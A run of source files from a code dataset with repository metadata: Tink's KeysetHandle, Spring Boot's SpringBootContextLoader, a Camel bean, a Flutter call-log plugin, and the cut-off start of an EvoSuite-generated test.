] | null | null | null | java/src/main/java/com/google/crypto/tink/KeysetHandle.java | insightiotest/go | 5add0f822bca1a6bfab41b880b0ced812e7eeeaa | [
"Apache-2.0"
] | null | null | null | 38.15534 | 100 | 0.715649 | 6,061 | // Copyright 2017 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
////////////////////////////////////////////////////////////////////////////////
package com.google.crypto.tink;
import com.google.crypto.tink.proto.EncryptedKeyset;
import com.google.crypto.tink.proto.KeyData;
import com.google.crypto.tink.proto.KeyTemplate;
import com.google.crypto.tink.proto.Keyset;
import com.google.crypto.tink.proto.KeysetInfo;
import com.google.protobuf.ByteString;
import com.google.protobuf.InvalidProtocolBufferException;
import java.io.IOException;
import java.security.GeneralSecurityException;
/**
* A KeysetHandle provides abstracted access to {@link com.google.crypto.tink.proto.Keyset}, to
* limit the exposure of actual protocol buffers that hold sensitive key material.
*
* <p>This class allows reading and writing encrypted keysets. Users that want to read or write can
* use the restricted API {@link CleartextKeysetHandle}. Users can also load keysets that don't
* contain any secret key material with {@link NoSecretKeysetHandle}.
*/
public final class KeysetHandle {
private Keyset keyset;
private KeysetHandle(Keyset keyset) {
this.keyset = keyset;
}
/**
* @return a new {@link KeysetHandle} from a {@code keyset}.
* @throws GeneralSecurityException
*/
static final KeysetHandle fromKeyset(Keyset keyset) throws GeneralSecurityException {
assertEnoughKeyMaterial(keyset);
return new KeysetHandle(keyset);
}
/** @return the actual keyset data. */
Keyset getKeyset() {
return keyset;
}
/**
* @return the {@link com.google.crypto.tink.proto.KeysetInfo} that doesn't contain actual key
* material.
*/
public KeysetInfo getKeysetInfo() {
return Util.getKeysetInfo(keyset);
}
/**
* @return a new {@link KeysetHandle} that contains a single fresh key generated according to
* {@code keyTemplate}.
* @throws GeneralSecurityException
*/
public static final KeysetHandle generateNew(KeyTemplate keyTemplate)
throws GeneralSecurityException {
return KeysetManager.withEmptyKeyset().rotate(keyTemplate).getKeysetHandle();
}
/**
* Tries to create a {@link KeysetHandle} from an encrypted keyset obtained via {@code reader}.
*
* <p>Users that need to load cleartext keysets can use {@link CleartextKeysetHandle}.
*
* @return a new {@link KeysetHandle} from {@code encryptedKeysetProto} that was encrypted with
* {@code masterKey}
* @throws GeneralSecurityException if cannot decrypt the keyset or it doesn't contain encrypted
* key material
*/
public static final KeysetHandle read(KeysetReader reader, Aead masterKey)
throws GeneralSecurityException, IOException {
EncryptedKeyset encryptedKeyset = reader.readEncrypted();
assertEnoughEncryptedKeyMaterial(encryptedKeyset);
return new KeysetHandle(decrypt(encryptedKeyset, masterKey));
}
/** Serializes, encrypts with {@code masterKey} and writes the keyset to {@code outputStream}. */
public void write(KeysetWriter keysetWriter, Aead masterKey)
throws GeneralSecurityException, IOException {
EncryptedKeyset encryptedKeyset = encrypt(keyset, masterKey);
keysetWriter.write(encryptedKeyset);
return;
}
/** Encrypts the keyset with the {@link Aead} master key. */
private static EncryptedKeyset encrypt(Keyset keyset, Aead masterKey)
throws GeneralSecurityException {
byte[] encryptedKeyset =
masterKey.encrypt(keyset.toByteArray(), /* associatedData= */ new byte[0]);
// Check if we can decrypt, to detect errors
try {
final Keyset keyset2 =
Keyset.parseFrom(masterKey.decrypt(encryptedKeyset, /* associatedData= */ new byte[0]));
if (!keyset2.equals(keyset)) {
throw new GeneralSecurityException("cannot encrypt keyset");
}
} catch (InvalidProtocolBufferException e) {
throw new GeneralSecurityException("invalid keyset, corrupted key material");
}
return EncryptedKeyset.newBuilder()
.setEncryptedKeyset(ByteString.copyFrom(encryptedKeyset))
.setKeysetInfo(Util.getKeysetInfo(keyset))
.build();
}
/** Decrypts the encrypted keyset with the {@link Aead} master key. */
private static Keyset decrypt(EncryptedKeyset encryptedKeyset, Aead masterKey)
throws GeneralSecurityException {
try {
Keyset keyset =
Keyset.parseFrom(
masterKey.decrypt(
encryptedKeyset.getEncryptedKeyset().toByteArray(),
/* associatedData= */ new byte[0]));
// check emptiness here too, in case the encrypted keys unwrapped to nothing?
assertEnoughKeyMaterial(keyset);
return keyset;
} catch (InvalidProtocolBufferException e) {
throw new GeneralSecurityException("invalid keyset, corrupted key material");
}
}
/**
* If the managed keyset contains private keys, returns a {@link KeysetHandle} of the public keys.
*
* @throws GenernalSecurityException if the managed keyset is null or if it contains any
* non-private keys.
*/
public KeysetHandle getPublicKeysetHandle() throws GeneralSecurityException {
if (keyset == null) {
throw new GeneralSecurityException("cleartext keyset is not available");
}
Keyset.Builder keysetBuilder = Keyset.newBuilder();
for (Keyset.Key key : keyset.getKeyList()) {
KeyData keyData = createPublicKeyData(key.getKeyData());
keysetBuilder.addKey(Keyset.Key.newBuilder().mergeFrom(key).setKeyData(keyData).build());
}
keysetBuilder.setPrimaryKeyId(keyset.getPrimaryKeyId());
return new KeysetHandle(keysetBuilder.build());
}
private static KeyData createPublicKeyData(KeyData privateKeyData)
throws GeneralSecurityException {
if (privateKeyData.getKeyMaterialType() != KeyData.KeyMaterialType.ASYMMETRIC_PRIVATE) {
throw new GeneralSecurityException("The keyset contains a non-private key");
}
KeyData publicKeyData =
Registry.getPublicKeyData(privateKeyData.getTypeUrl(), privateKeyData.getValue());
validate(publicKeyData);
return publicKeyData;
}
private static void validate(KeyData keyData) throws GeneralSecurityException {
// This will throw GeneralSecurityException if the keyData is invalid.
Registry.getPrimitive(keyData);
}
/**
* Extracts and returns the string representation of the {@link
* com.google.crypto.tink.proto.KeysetInfo} of the managed keyset.
*/
@Override
public String toString() {
return getKeysetInfo().toString();
}
/**
* Validates that an keyset handle contains enough key material to build a keyset on.
*
* @throws GeneralSecurityException
*/
public static void assertEnoughKeyMaterial(Keyset keyset) throws GeneralSecurityException {
if (keyset == null || keyset.getKeyCount() <= 0) {
throw new GeneralSecurityException("empty keyset");
}
}
/**
* Validates that an encrypted keyset contains enough key material to build a keyset on.
*
* @throws GeneralSecurityException
*/
public static void assertEnoughEncryptedKeyMaterial(EncryptedKeyset keyset)
throws GeneralSecurityException {
if (keyset == null || keyset.getEncryptedKeyset().size() == 0) {
throw new GeneralSecurityException("empty keyset");
}
}
}
|
3e0e48bf448dc5a493d6bed0b332be026e52c409 | 15,312 | java | Java | spring-boot-project/spring-boot-test/src/main/java/org/springframework/boot/test/context/SpringBootContextLoader.java | 86dh/spring-boot | c996e4335af807818205e9b3b3300598daf038d2 | [
"Apache-2.0"
] | 1 | 2022-01-08T09:14:59.000Z | 2022-01-08T09:14:59.000Z | spring-boot-project/spring-boot-test/src/main/java/org/springframework/boot/test/context/SpringBootContextLoader.java | 86dh/spring-boot | c996e4335af807818205e9b3b3300598daf038d2 | [
"Apache-2.0"
] | null | null | null | spring-boot-project/spring-boot-test/src/main/java/org/springframework/boot/test/context/SpringBootContextLoader.java | 86dh/spring-boot | c996e4335af807818205e9b3b3300598daf038d2 | [
"Apache-2.0"
] | 1 | 2020-12-07T00:42:04.000Z | 2020-12-07T00:42:04.000Z | 40.723404 | 111 | 0.796695 | 6,062 | /*
* Copyright 2012-2022 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.springframework.boot.test.context;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import org.springframework.beans.BeanUtils;
import org.springframework.boot.ApplicationContextFactory;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.WebApplicationType;
import org.springframework.boot.context.event.ApplicationEnvironmentPreparedEvent;
import org.springframework.boot.test.context.SpringBootTest.WebEnvironment;
import org.springframework.boot.test.mock.web.SpringBootMockServletContext;
import org.springframework.boot.test.util.TestPropertyValues;
import org.springframework.boot.test.util.TestPropertyValues.Type;
import org.springframework.boot.web.reactive.context.GenericReactiveWebApplicationContext;
import org.springframework.boot.web.servlet.support.ServletContextApplicationContextInitializer;
import org.springframework.context.ApplicationContext;
import org.springframework.context.ApplicationContextInitializer;
import org.springframework.context.ApplicationListener;
import org.springframework.context.ConfigurableApplicationContext;
import org.springframework.core.Ordered;
import org.springframework.core.PriorityOrdered;
import org.springframework.core.SpringVersion;
import org.springframework.core.annotation.MergedAnnotations;
import org.springframework.core.annotation.MergedAnnotations.SearchStrategy;
import org.springframework.core.annotation.Order;
import org.springframework.core.env.ConfigurableEnvironment;
import org.springframework.core.io.DefaultResourceLoader;
import org.springframework.core.io.ResourceLoader;
import org.springframework.test.context.ContextConfigurationAttributes;
import org.springframework.test.context.ContextCustomizer;
import org.springframework.test.context.ContextLoader;
import org.springframework.test.context.MergedContextConfiguration;
import org.springframework.test.context.support.AbstractContextLoader;
import org.springframework.test.context.support.AnnotationConfigContextLoaderUtils;
import org.springframework.test.context.support.TestPropertySourceUtils;
import org.springframework.test.context.web.WebMergedContextConfiguration;
import org.springframework.util.Assert;
import org.springframework.util.ObjectUtils;
import org.springframework.util.StringUtils;
import org.springframework.web.context.ConfigurableWebApplicationContext;
import org.springframework.web.context.support.GenericWebApplicationContext;
/**
* A {@link ContextLoader} that can be used to test Spring Boot applications (those that
* normally startup using {@link SpringApplication}). Although this loader can be used
* directly, most test will instead want to use it with
* {@link SpringBootTest @SpringBootTest}.
* <p>
* The loader supports both standard {@link MergedContextConfiguration} as well as
* {@link WebMergedContextConfiguration}. If {@link WebMergedContextConfiguration} is used
* the context will either use a mock servlet environment, or start the full embedded web
* server.
* <p>
* If {@code @ActiveProfiles} are provided in the test class they will be used to create
* the application context.
*
* @author Dave Syer
* @author Phillip Webb
* @author Andy Wilkinson
* @author Stephane Nicoll
* @author Madhura Bhave
* @author Scott Frederick
* @since 1.4.0
* @see SpringBootTest
*/
public class SpringBootContextLoader extends AbstractContextLoader {
@Override
public ApplicationContext loadContext(MergedContextConfiguration config) throws Exception {
Class<?>[] configClasses = config.getClasses();
String[] configLocations = config.getLocations();
Assert.state(!ObjectUtils.isEmpty(configClasses) || !ObjectUtils.isEmpty(configLocations),
() -> "No configuration classes or locations found in @SpringApplicationConfiguration. "
+ "For default configuration detection to work you need Spring 4.0.3 or better (found "
+ SpringVersion.getVersion() + ").");
SpringApplication application = getSpringApplication();
application.setMainApplicationClass(config.getTestClass());
application.addPrimarySources(Arrays.asList(configClasses));
application.getSources().addAll(Arrays.asList(configLocations));
List<ApplicationContextInitializer<?>> initializers = getInitializers(config, application);
if (config instanceof WebMergedContextConfiguration) {
application.setWebApplicationType(WebApplicationType.SERVLET);
if (!isEmbeddedWebEnvironment(config)) {
new WebConfigurer().configure(config, application, initializers);
}
}
else if (config instanceof ReactiveWebMergedContextConfiguration) {
application.setWebApplicationType(WebApplicationType.REACTIVE);
}
else {
application.setWebApplicationType(WebApplicationType.NONE);
}
application.setApplicationContextFactory((type) -> {
if (type != WebApplicationType.NONE && !isEmbeddedWebEnvironment(config)) {
if (type == WebApplicationType.REACTIVE) {
return new GenericReactiveWebApplicationContext();
}
else if (type == WebApplicationType.SERVLET) {
return new GenericWebApplicationContext();
}
}
return ApplicationContextFactory.DEFAULT.create(type);
});
application.setInitializers(initializers);
ConfigurableEnvironment environment = getEnvironment();
if (environment != null) {
prepareEnvironment(config, application, environment, false);
application.setEnvironment(environment);
}
else {
application.addListeners(new PrepareEnvironmentListener(config));
}
String[] args = SpringBootTestArgs.get(config.getContextCustomizers());
return application.run(args);
}
private void prepareEnvironment(MergedContextConfiguration config, SpringApplication application,
ConfigurableEnvironment environment, boolean applicationEnvironment) {
setActiveProfiles(environment, config.getActiveProfiles(), applicationEnvironment);
ResourceLoader resourceLoader = (application.getResourceLoader() != null) ? application.getResourceLoader()
: new DefaultResourceLoader(null);
TestPropertySourceUtils.addPropertiesFilesToEnvironment(environment, resourceLoader,
config.getPropertySourceLocations());
TestPropertySourceUtils.addInlinedPropertiesToEnvironment(environment, getInlinedProperties(config));
}
private void setActiveProfiles(ConfigurableEnvironment environment, String[] profiles,
boolean applicationEnvironment) {
if (ObjectUtils.isEmpty(profiles)) {
return;
}
if (!applicationEnvironment) {
environment.setActiveProfiles(profiles);
}
String[] pairs = new String[profiles.length];
for (int i = 0; i < profiles.length; i++) {
pairs[i] = "spring.profiles.active[" + i + "]=" + profiles[i];
}
TestPropertyValues.of(pairs).applyTo(environment, Type.MAP, "active-test-profiles");
}
/**
* Builds new {@link org.springframework.boot.SpringApplication} instance. You can
* override this method to add custom behavior
* @return {@link org.springframework.boot.SpringApplication} instance
*/
protected SpringApplication getSpringApplication() {
return new SpringApplication();
}
/**
* Returns the {@link ConfigurableEnvironment} instance that should be applied to
* {@link SpringApplication} or {@code null} to use the default. You can override this
* method if you need a custom environment.
* @return a {@link ConfigurableEnvironment} instance
*/
protected ConfigurableEnvironment getEnvironment() {
return null;
}
protected String[] getInlinedProperties(MergedContextConfiguration config) {
ArrayList<String> properties = new ArrayList<>();
// JMX bean names will clash if the same bean is used in multiple contexts
disableJmx(properties);
properties.addAll(Arrays.asList(config.getPropertySourceProperties()));
return StringUtils.toStringArray(properties);
}
private void disableJmx(List<String> properties) {
properties.add("spring.jmx.enabled=false");
}
/**
* Return the {@link ApplicationContextInitializer initializers} that will be applied
* to the context. By default this method will adapt {@link ContextCustomizer context
* customizers}, add {@link SpringApplication#getInitializers() application
* initializers} and add
* {@link MergedContextConfiguration#getContextInitializerClasses() initializers
* specified on the test}.
* @param config the source context configuration
* @param application the application instance
* @return the initializers to apply
* @since 2.0.0
*/
protected List<ApplicationContextInitializer<?>> getInitializers(MergedContextConfiguration config,
SpringApplication application) {
List<ApplicationContextInitializer<?>> initializers = new ArrayList<>();
for (ContextCustomizer contextCustomizer : config.getContextCustomizers()) {
initializers.add(new ContextCustomizerAdapter(contextCustomizer, config));
}
initializers.addAll(application.getInitializers());
for (Class<? extends ApplicationContextInitializer<?>> initializerClass : config
.getContextInitializerClasses()) {
initializers.add(BeanUtils.instantiateClass(initializerClass));
}
if (config.getParent() != null) {
initializers.add(new ParentContextApplicationContextInitializer(config.getParentApplicationContext()));
}
return initializers;
}
private boolean isEmbeddedWebEnvironment(MergedContextConfiguration config) {
return MergedAnnotations.from(config.getTestClass(), SearchStrategy.TYPE_HIERARCHY).get(SpringBootTest.class)
.getValue("webEnvironment", WebEnvironment.class).orElse(WebEnvironment.NONE).isEmbedded();
}
@Override
public void processContextConfiguration(ContextConfigurationAttributes configAttributes) {
super.processContextConfiguration(configAttributes);
if (!configAttributes.hasResources()) {
Class<?>[] defaultConfigClasses = detectDefaultConfigurationClasses(configAttributes.getDeclaringClass());
configAttributes.setClasses(defaultConfigClasses);
}
}
/**
* Detect the default configuration classes for the supplied test class. By default
* simply delegates to
* {@link AnnotationConfigContextLoaderUtils#detectDefaultConfigurationClasses}.
* @param declaringClass the test class that declared {@code @ContextConfiguration}
* @return an array of default configuration classes, potentially empty but never
* {@code null}
* @see AnnotationConfigContextLoaderUtils
*/
protected Class<?>[] detectDefaultConfigurationClasses(Class<?> declaringClass) {
return AnnotationConfigContextLoaderUtils.detectDefaultConfigurationClasses(declaringClass);
}
@Override
public ApplicationContext loadContext(String... locations) throws Exception {
throw new UnsupportedOperationException(
"SpringApplicationContextLoader does not support the loadContext(String...) method");
}
@Override
protected String[] getResourceSuffixes() {
return new String[] { "-context.xml", "Context.groovy" };
}
@Override
protected String getResourceSuffix() {
throw new IllegalStateException();
}
/**
* Inner class to configure {@link WebMergedContextConfiguration}.
*/
private static class WebConfigurer {
void configure(MergedContextConfiguration configuration, SpringApplication application,
List<ApplicationContextInitializer<?>> initializers) {
WebMergedContextConfiguration webConfiguration = (WebMergedContextConfiguration) configuration;
addMockServletContext(initializers, webConfiguration);
}
private void addMockServletContext(List<ApplicationContextInitializer<?>> initializers,
WebMergedContextConfiguration webConfiguration) {
SpringBootMockServletContext servletContext = new SpringBootMockServletContext(
webConfiguration.getResourceBasePath());
initializers.add(0, new DefensiveWebApplicationContextInitializer(
new ServletContextApplicationContextInitializer(servletContext, true)));
}
/**
* Decorator for {@link ServletContextApplicationContextInitializer} that prevents
* a failure when the context type is not as was predicted when the initializer
* was registered. This can occur when spring.main.web-application-type is set to
* something other than servlet.
*/
private static final class DefensiveWebApplicationContextInitializer
implements ApplicationContextInitializer<ConfigurableApplicationContext> {
private final ServletContextApplicationContextInitializer delegate;
private DefensiveWebApplicationContextInitializer(ServletContextApplicationContextInitializer delegate) {
this.delegate = delegate;
}
@Override
public void initialize(ConfigurableApplicationContext applicationContext) {
if (applicationContext instanceof ConfigurableWebApplicationContext) {
this.delegate.initialize((ConfigurableWebApplicationContext) applicationContext);
}
}
}
}
/**
* Adapts a {@link ContextCustomizer} to a {@link ApplicationContextInitializer} so
* that it can be triggered via {@link SpringApplication}.
*/
private static class ContextCustomizerAdapter
implements ApplicationContextInitializer<ConfigurableApplicationContext> {
private final ContextCustomizer contextCustomizer;
private final MergedContextConfiguration config;
ContextCustomizerAdapter(ContextCustomizer contextCustomizer, MergedContextConfiguration config) {
this.contextCustomizer = contextCustomizer;
this.config = config;
}
@Override
public void initialize(ConfigurableApplicationContext applicationContext) {
this.contextCustomizer.customizeContext(applicationContext, this.config);
}
}
/**
* {@link ApplicationContextInitializer} used to set the parent context.
*/
@Order(Ordered.HIGHEST_PRECEDENCE)
private static class ParentContextApplicationContextInitializer
implements ApplicationContextInitializer<ConfigurableApplicationContext> {
private final ApplicationContext parent;
ParentContextApplicationContextInitializer(ApplicationContext parent) {
this.parent = parent;
}
@Override
public void initialize(ConfigurableApplicationContext applicationContext) {
applicationContext.setParent(this.parent);
}
}
/**
* {@link ApplicationListener} used to prepare the application created environment.
*/
private class PrepareEnvironmentListener
implements ApplicationListener<ApplicationEnvironmentPreparedEvent>, PriorityOrdered {
private final MergedContextConfiguration config;
PrepareEnvironmentListener(MergedContextConfiguration config) {
this.config = config;
}
@Override
public int getOrder() {
return Ordered.HIGHEST_PRECEDENCE;
}
@Override
public void onApplicationEvent(ApplicationEnvironmentPreparedEvent event) {
prepareEnvironment(this.config, event.getSpringApplication(), event.getEnvironment(), true);
}
}
}
|
3e0e4aec15d74a2fcb79730e25130fdae4717680 | 304 | java | Java | src/main/java/com/fusion/springboot/camel/MyBean.java | blitznihar/springboot-camel | 5ed7ceb99bb3d723cb1efc833449e8dc46561d9a | [
"MIT"
] | null | null | null | src/main/java/com/fusion/springboot/camel/MyBean.java | blitznihar/springboot-camel | 5ed7ceb99bb3d723cb1efc833449e8dc46561d9a | [
"MIT"
] | null | null | null | src/main/java/com/fusion/springboot/camel/MyBean.java | blitznihar/springboot-camel | 5ed7ceb99bb3d723cb1efc833449e8dc46561d9a | [
"MIT"
] | null | null | null | 20.266667 | 58 | 0.720395 | 6,063 | package com.fusion.springboot.camel;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Component;
@Component("myBean")
public class MyBean {
@Value("${greeting}")
private String say;
public String saySomething() {
return say;
}
} |
3e0e4aec4affd6862bee6d26e7e69c4516eb42e3 | 9,385 | java | Java | packages/phone_log/android/src/main/java/com/jiajiabingcheng/phonelog/PhoneLogPlugin.java | v7lin/flutter.plugins | 2c26388b7e4eeac065a8e5739eda2966cb99e20c | [
"BSD-3-Clause"
] | 110 | 2018-03-13T06:16:20.000Z | 2022-03-31T14:53:09.000Z | packages/phone_log/android/src/main/java/com/jiajiabingcheng/phonelog/PhoneLogPlugin.java | v7lin/flutter.plugins | 2c26388b7e4eeac065a8e5739eda2966cb99e20c | [
"BSD-3-Clause"
] | 95 | 2018-06-20T21:39:06.000Z | 2022-02-28T12:59:07.000Z | packages/phone_log/android/src/main/java/com/jiajiabingcheng/phonelog/PhoneLogPlugin.java | v7lin/flutter.plugins | 2c26388b7e4eeac065a8e5739eda2966cb99e20c | [
"BSD-3-Clause"
] | 60 | 2018-06-15T21:20:47.000Z | 2021-12-25T08:54:08.000Z | 34.251825 | 100 | 0.707725 | 6,064 | package com.jiajiabingcheng.phonelog;
import android.Manifest;
import android.annotation.TargetApi;
import android.app.Activity;
import android.content.Context;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.os.Build;
import android.provider.CallLog;
import android.util.Log;
import androidx.annotation.NonNull;
import io.flutter.embedding.engine.plugins.FlutterPlugin;
import io.flutter.embedding.engine.plugins.activity.ActivityAware;
import io.flutter.embedding.engine.plugins.activity.ActivityPluginBinding;
import io.flutter.plugin.common.BinaryMessenger;
import io.flutter.plugin.common.MethodCall;
import io.flutter.plugin.common.MethodChannel;
import io.flutter.plugin.common.MethodChannel.MethodCallHandler;
import io.flutter.plugin.common.MethodChannel.Result;
import io.flutter.plugin.common.PluginRegistry;
import io.flutter.plugin.common.PluginRegistry.Registrar;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.Date;
import java.util.HashMap;
/** PhoneLogPlugin */
@TargetApi(Build.VERSION_CODES.LOLLIPOP)
public class PhoneLogPlugin
implements MethodCallHandler,
PluginRegistry.RequestPermissionsResultListener,
FlutterPlugin,
ActivityAware {
private Result pendingResult;
private Registrar registrar;
// Activity for v2 embedding.
private Activity activity;
private ActivityPluginBinding activityPluginBinding;
private MethodChannel methodChannel;
private Context context;
public static void registerWith(Registrar registrar) {
PhoneLogPlugin instance = new PhoneLogPlugin();
instance.registrar = registrar;
instance.initInstance(registrar.messenger(), registrar.context());
registrar.addRequestPermissionsResultListener(instance);
}
private void initInstance(BinaryMessenger messenger, Context context) {
methodChannel = new MethodChannel(messenger, "github.com/jiajiabingcheng/phone_log");
methodChannel.setMethodCallHandler(this);
this.context = context;
}
private Activity activity() {
return activity != null ? activity : registrar.activity();
}
@Override
public void onAttachedToEngine(@NonNull FlutterPluginBinding binding) {
initInstance(binding.getBinaryMessenger(), binding.getApplicationContext());
}
@Override
public void onDetachedFromEngine(@NonNull FlutterPluginBinding binding) {
methodChannel.setMethodCallHandler(null);
methodChannel = null;
context = null;
}
private void attachToActivity(ActivityPluginBinding activityPluginBinding) {
this.activity = activityPluginBinding.getActivity();
this.activityPluginBinding = activityPluginBinding;
activityPluginBinding.addRequestPermissionsResultListener(this);
}
private void detachToActivity() {
this.activity = null;
activityPluginBinding.removeRequestPermissionsResultListener(this);
this.activityPluginBinding = null;
}
@Override
public void onAttachedToActivity(ActivityPluginBinding activityPluginBinding) {
attachToActivity(activityPluginBinding);
}
@Override
public void onDetachedFromActivityForConfigChanges() {
detachToActivity();
}
@Override
public void onReattachedToActivityForConfigChanges(ActivityPluginBinding activityPluginBinding) {
attachToActivity(activityPluginBinding);
}
@Override
public void onDetachedFromActivity() {
detachToActivity();
}
@Override
public void onMethodCall(MethodCall call, Result result) {
if (pendingResult != null) {
pendingResult.error("multiple_requests", "Cancelled by a second request.", null);
pendingResult = null;
}
pendingResult = result;
switch (call.method) {
case "checkPermission":
pendingResult.success(checkPermission());
pendingResult = null;
break;
case "requestPermission":
requestPermission();
break;
case "getPhoneLogs":
String startDate = call.argument("startDate");
String duration = call.argument("duration");
fetchCallRecords(startDate, duration);
break;
default:
result.notImplemented();
}
}
private void requestPermission() {
Log.i("PhoneLogPlugin", "Requesting permission : " + Manifest.permission.READ_CALL_LOG);
String[] perm = {Manifest.permission.READ_CALL_LOG};
activity().requestPermissions(perm, 0);
}
private String checkPermission() {
Log.i("PhoneLogPlugin", "Checking permission : " + Manifest.permission.READ_CALL_LOG);
boolean isGranted =
PackageManager.PERMISSION_GRANTED
== activity().checkSelfPermission(Manifest.permission.READ_CALL_LOG);
if (isGranted) {
return "granted";
} else if (activity().shouldShowRequestPermissionRationale(Manifest.permission.READ_CALL_LOG)) {
return "denied";
}
return "deniedAndCannotRequest";
}
@Override
public boolean onRequestPermissionsResult(int requestCode, String[] strings, int[] grantResults) {
boolean res = false;
if (requestCode == 0 && grantResults.length > 0) {
res = grantResults[0] == PackageManager.PERMISSION_GRANTED;
pendingResult.success(res);
pendingResult = null;
}
return res;
}
private static final String[] PROJECTION = {
CallLog.Calls.CACHED_FORMATTED_NUMBER,
CallLog.Calls.CACHED_MATCHED_NUMBER,
CallLog.Calls.TYPE,
CallLog.Calls.DATE,
CallLog.Calls.DURATION,
CallLog.Calls.NUMBER,
};
@TargetApi(Build.VERSION_CODES.M)
private void fetchCallRecords(String startDate, String duration) {
if (activity().checkSelfPermission(Manifest.permission.READ_CALL_LOG)
== PackageManager.PERMISSION_GRANTED) {
String selectionCondition = null;
if (startDate != null) {
selectionCondition = CallLog.Calls.DATE + "> " + startDate;
}
if (duration != null) {
String durationSelection = CallLog.Calls.DURATION + "> " + duration;
if (selectionCondition != null) {
selectionCondition = selectionCondition + " AND " + durationSelection;
} else {
selectionCondition = durationSelection;
}
}
Cursor cursor =
context
.getContentResolver()
.query(
CallLog.Calls.CONTENT_URI,
PROJECTION,
selectionCondition,
null,
CallLog.Calls.DATE + " DESC");
try {
ArrayList<HashMap<String, Object>> records = getCallRecordMaps(cursor);
pendingResult.success(records);
pendingResult = null;
} catch (Exception e) {
Log.e("PhoneLog", "Error on fetching call record" + e);
pendingResult.error("PhoneLog", e.getMessage(), null);
pendingResult = null;
} finally {
if (cursor != null) {
cursor.close();
}
}
} else {
pendingResult.error("PhoneLog", "Permission is not granted", null);
pendingResult = null;
}
}
private String getUnformattedNumber(String cachedMatchedNum, String dialedNum) {
return (cachedMatchedNum == null || cachedMatchedNum.isEmpty()) ? dialedNum : cachedMatchedNum;
}
/**
* Builds the list of call record maps from the cursor
*
* @param cursor
* @return the list of maps
*/
private ArrayList<HashMap<String, Object>> getCallRecordMaps(Cursor cursor) {
ArrayList<HashMap<String, Object>> records = new ArrayList<>();
int formattedNumIndex = cursor.getColumnIndex(CallLog.Calls.CACHED_FORMATTED_NUMBER);
int cachedMatchedNumIndex = cursor.getColumnIndex(CallLog.Calls.CACHED_MATCHED_NUMBER);
int typeIndex = cursor.getColumnIndex(CallLog.Calls.TYPE);
int dateIndex = cursor.getColumnIndex(CallLog.Calls.DATE);
int durationIndex = cursor.getColumnIndex(CallLog.Calls.DURATION);
int dialedNumberIndex = cursor.getColumnIndex(CallLog.Calls.NUMBER);
while (cursor != null && cursor.moveToNext()) {
CallRecord record = new CallRecord();
// This field holds the number formatted based on the country the user was in when the call
// was made/received.
record.formattedNumber = cursor.getString(formattedNumIndex);
// number holds the unformatted version of the actual number.
record.number =
getUnformattedNumber(
cursor.getString(cachedMatchedNumIndex), cursor.getString(dialedNumberIndex));
record.callType = getCallType(cursor.getInt(typeIndex));
Date date = new Date(cursor.getLong(dateIndex));
Calendar cal = Calendar.getInstance();
cal.setTime(date);
record.dateYear = cal.get(Calendar.YEAR);
record.dateMonth = cal.get(Calendar.MONTH);
record.dateDay = cal.get(Calendar.DAY_OF_MONTH);
record.dateHour = cal.get(Calendar.HOUR_OF_DAY);
record.dateMinute = cal.get(Calendar.MINUTE);
record.dateSecond = cal.get(Calendar.SECOND);
record.duration = cursor.getLong(durationIndex);
records.add(record.toMap());
}
return records;
}
private String getCallType(int anInt) {
switch (anInt) {
case CallLog.Calls.INCOMING_TYPE:
return "INCOMING_TYPE";
case CallLog.Calls.OUTGOING_TYPE:
return "OUTGOING_TYPE";
case CallLog.Calls.MISSED_TYPE:
return "MISSED_TYPE";
default:
break;
}
return null;
}
}
|
3e0e4b5ce98ddfe245377a6419730c83dcd1dd24 | 22,799 | java | Java | generated-test-cases/RecordTypeMessage/22-run/SmellMOSA_RecordTypeMessage_ESTest.java | fpalomba/issta16-test-code-quality-matters | b18697fb7f3ed77a8875d39c6b81a1afa82d7245 | [
"Apache-2.0"
] | null | null | null | generated-test-cases/RecordTypeMessage/22-run/SmellMOSA_RecordTypeMessage_ESTest.java | fpalomba/issta16-test-code-quality-matters | b18697fb7f3ed77a8875d39c6b81a1afa82d7245 | [
"Apache-2.0"
] | 1 | 2017-05-11T21:18:17.000Z | 2017-05-11T21:18:17.000Z | generated-test-cases/RecordTypeMessage/22-run/SmellMOSA_RecordTypeMessage_ESTest.java | fpalomba/issta16-test-code-quality-matters | b18697fb7f3ed77a8875d39c6b81a1afa82d7245 | [
"Apache-2.0"
] | null | null | null | 58.760309 | 234 | 0.716259 | 6,065 | /*
* This file was automatically generated by EvoSuite
* Sat Dec 19 23:35:01 GMT 2015
*/
package net.sf.xbus.protocol.records;
import static org.junit.Assert.*;
import org.junit.Test;
import net.sf.xbus.base.bytearraylist.ByteArrayList;
import net.sf.xbus.base.xbussystem.XBUSSystem;
import net.sf.xbus.protocol.records.RecordTypeMessage;
import org.evosuite.runtime.EvoRunner;
import org.evosuite.runtime.EvoRunnerParameters;
import org.evosuite.runtime.testdata.EvoSuiteFile;
import org.evosuite.runtime.testdata.EvoSuiteLocalAddress;
import org.evosuite.runtime.testdata.EvoSuiteRemoteAddress;
import org.evosuite.runtime.testdata.EvoSuiteURL;
import org.junit.runner.RunWith;
@RunWith(EvoRunner.class) @EvoRunnerParameters(mockJVMNonDeterminism = true, useVFS = true, useVNET = true, resetStaticState = true)
public class RecordTypeMessage_ESTest extends RecordTypeMessage_ESTest_scaffolding {
//Test case number: 0
/*
* 1 covered goal:
* Goal 1. net.sf.xbus.protocol.records.RecordTypeMessage.setResponseText(Ljava/lang/String;Lnet/sf/xbus/base/xbussystem/XBUSSystem;)V: I21 Branch 3 IFNONNULL L132 - false
*/
@Test
public void test00() throws Throwable {
